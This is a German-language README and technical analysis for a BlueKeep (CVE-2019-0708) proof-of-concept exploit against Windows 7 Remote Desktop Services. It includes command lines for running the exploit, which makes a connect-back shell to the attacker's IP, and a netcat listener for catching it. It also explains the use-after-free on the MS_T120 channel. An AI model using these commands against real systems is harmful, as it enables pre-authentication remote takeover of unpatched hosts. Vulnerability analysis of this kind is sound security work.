
CVE-2019-0708 (BlueKeep) Proof of Concept, der eine Pre-Auth-RCE unter Windows 7 ermöglicht
Hier wird der Remote-Code-Ausführungsfehler in Windows-Remotedesktopdiensten (RDS) demonstriert.
Hier sind ein POC-Code und ein technischer Bericht über die BlueKeep-Sicherheitslücke, die wir zuvor entwickelt haben.
HINWEIS: Unser Ziel ist es, Analysten ein besseres Verständnis kritischer Sicherheitslücken zu ermöglichen.
Unser Exploit-Code ist in Python 3 geschrieben und basiert auf der Bibliothek PyRDP. Bitte richten Sie diese gemäß der Installationsanleitung von PyRDP ein.
Derzeit zielt unser Exploit auf Windows 7 SP 1 (6.1.7601) x64 auf Virtual Box ab und wird darauf getestet.
Wenn Ihr Computer die IP-Adresse 192.168.56.1 hat und Sie den RDP-Server unter example.com:1234 anvisieren, geben Sie Folgendes ein:
$ python exploit.py example.com -rp 1234 192.168.56.1
Wenn das Skript den Server erfolgreich ausnutzt, initiiert ein Connect-Back-Shellcode eine TCP-Verbindung vom Server zurück zu 192.168.56.1:4444. Daher sollten Sie z. B. mit netcat auf die Verbindung warten:
$ nc -v -l 4444
Wenn Sie die Portnummer ändern möchten, zu der der Server zurückverbindet, verwenden Sie die Option -bp:
$ python exploit.py example.com -rp 1234 192.168.56.1 -bp 4567
Im Mai 2019 veröffentlichte Microsoft eine kritische Sicherheitslücke zur Remote-Code-Ausführung CVE-2019-0708, in den Remotedesktopdiensten (ehemals Terminaldienste). Diese Sicherheitslücke erfordert keine vorherige Authentifizierung (pre-authentication) – das bedeutet, sie ist wormfähig und kann weitreichende Störungen verursachen. Ein Angreifer kann diese Sicherheitslücke ausnutzen, indem er manipulierte Remote Desktop Protocol (RDP)-Nachrichten an den Zielserver sendet und so beliebigen Code mit Administratorrechten ausführen kann.
Microsoft Remotedesktopdienste bieten einem Benutzer offene interaktive Windows-Sitzungen aus der Ferne. Sie präsentieren den Windows-Desktop des Benutzers, indem sie mit dem Client über das Remote Desktop Protocol (RDP) auf Port 3389/TCP kommunizieren.
Das RDP-Protokoll kann durch Softwareerweiterungen namens Virtual Channel erweitert werden. Beispiele für funktionale Erweiterungen sind Unterstützung für spezielle Hardware, Audio oder andere Ergänzungen der Kernfunktionalität.
Diese Kanäle umfassen standardmäßige Microsoft-Kanäle wie "rdpdr" (Umleitung), "rdpsnd" (Ton), "cliprdr" (Zwischenablagefreigabe) usw. Benutzer können Module mit der RDP-API schreiben, um andere Kanäle zu unterstützen. Zusätzlich zu den oben genannten Kanälen erstellt Microsoft standardmäßig zwei Kanäle: MS_T120 (für RDP selbst) und CTXTW (für Citrix ICA).
Die Sicherheitslücke betrifft den Bindungsprozess virtueller Kanäle von MS_T120 durch die "MCS Connect Initial and GCC Create"-Anfrage.
Weitere Hintergrundinformationen sind unter ZDI verfügbar.
Wie im ZDI-Artikel erwähnt, werden alle vom Client angeforderten virtuellen Kanäle mit termdd!IcaCreateChannel() erstellt. Dann werden Zeiger auf diese Kanalstrukturen in einer Tabelle gespeichert, die wir ChannelPointerTable nennen.
Wenn eine Verbindung mit einem RDP-Client hergestellt wird, werden alle statischen virtuellen Kanäle einschließlich MS_T120 intern vom Windows-RDP-Server initialisiert und von ChannelPointerTable referenziert.
Die Abfrage zum Erstellen von MS_T120 und CTXTW wird von rdpcore!WDLIB_IcaVirtualQueryBindings() ausgelöst.
Abb. 1: Erzeugung der Abfrage zum Erstellen von MS_T120 und CTXTW
Nachdem die Abfrage an termdd!IcaBindVirtualChannels() übergeben wurde, wird eine virtuelle Kanalstruktur in termdd!IcaAllocateChannel() erstellt und in der ChannelPointerTable registriert.
Abb. 2: Erstellen und Registrieren der virtuellen Kanalstruktur
Die Funktion termdd!IcaBindChannel() ist für die Registrierung einer virtuellen Kanalstruktur in der ChannelPointerTable verantwortlich.

Hier ist der Stack-Trace unter Windows 7 x64, wenn termdd!IcaBindChannel() mit dem ersten Argument "MS_T120" und dem dritten Argument 0x1f aufgerufen wird.
Abb. 3: MS_T1209 wird während der ersten Anfrage an Slot 0x1f gebunden
Dann sieht die ChannelPointerTable wie folgt aus. Beachten Sie, dass MS_T120 immer in Slot 0x1F vorhanden ist.
Abb. 4: ChannelPointerTable während der ersten Anfrage
Im Windows RDP-Kernel-Treiber termdd.sys existiert eine Use-After-Free-Sicherheitslücke.
Das Problem besteht darin, dass, wenn ein Client während der "MCS Connect Initial and GCC Create"-Anfrage einen Kanal mit dem Namen MS_T120\x00 angibt, termdd!IcaCreateChannel() termdd!IcaFindChannelByName() aufruft und die vorhandene MS_T120-Kanalstruktur in Slot 0x1F zurückgibt. Diese Kanalstruktur wird dann als neuer virtueller Kanaleintrag betrachtet und während der "MCS Attach User Request"-Anfrage in einem anderen Slot (in diesem Beispiel Slot 2) gespeichert.
Hier ist der Stack-Trace unter Windows 7 x64, wenn termdd!IcaBindChannel() mit dem ersten Argument "MS_T120" und dem dritten Argument 0x2 aufgerufen wird.
Abb. 5: MS_T1209 wird während der Attach-Anfrage ebenfalls an Slot 0x2 gebunden
Mit anderen Worten: Die MS_T120-Kanalstruktur wird von zwei Slots 0x1F und 0x2 referenziert.
Abb. 6: ChannelPointerTable während der Attach-Anfrage